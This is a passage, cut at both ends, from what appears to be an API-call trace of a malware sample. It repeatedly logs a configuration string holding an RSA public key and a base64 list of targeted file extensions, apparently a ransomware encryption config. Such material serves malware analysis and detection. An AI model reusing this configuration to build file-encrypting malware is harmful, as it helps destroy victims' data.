sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3